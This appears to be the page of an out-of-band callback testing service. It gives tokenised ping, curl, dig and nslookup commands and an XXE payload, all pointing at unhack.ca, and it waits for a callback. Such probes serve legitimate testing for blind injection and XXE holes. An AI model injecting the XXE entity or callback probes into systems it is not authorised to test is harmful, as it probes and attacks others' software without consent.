$ ping -c1 -p 00de3ff9e1796325ee4d0631ecb3d000 unhack.ca
 
$ curl http://unhack.ca/p/de3ff9e1796325ee4d0631ecb3d0
 
$ dig de3ff9e1796325ee4d0631ecb3d0 @unhack.ca
 
$ dig de3ff9e1796325ee4d0631ecb3d0.ns.unhack.ca
 
C:\> nslookup de3ff9e1796325ee4d0631ecb3d0 unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/de3ff9e1796325ee4d0631ecb3d0">]>
    <foo>&xxe;</foo>
Waiting for ping...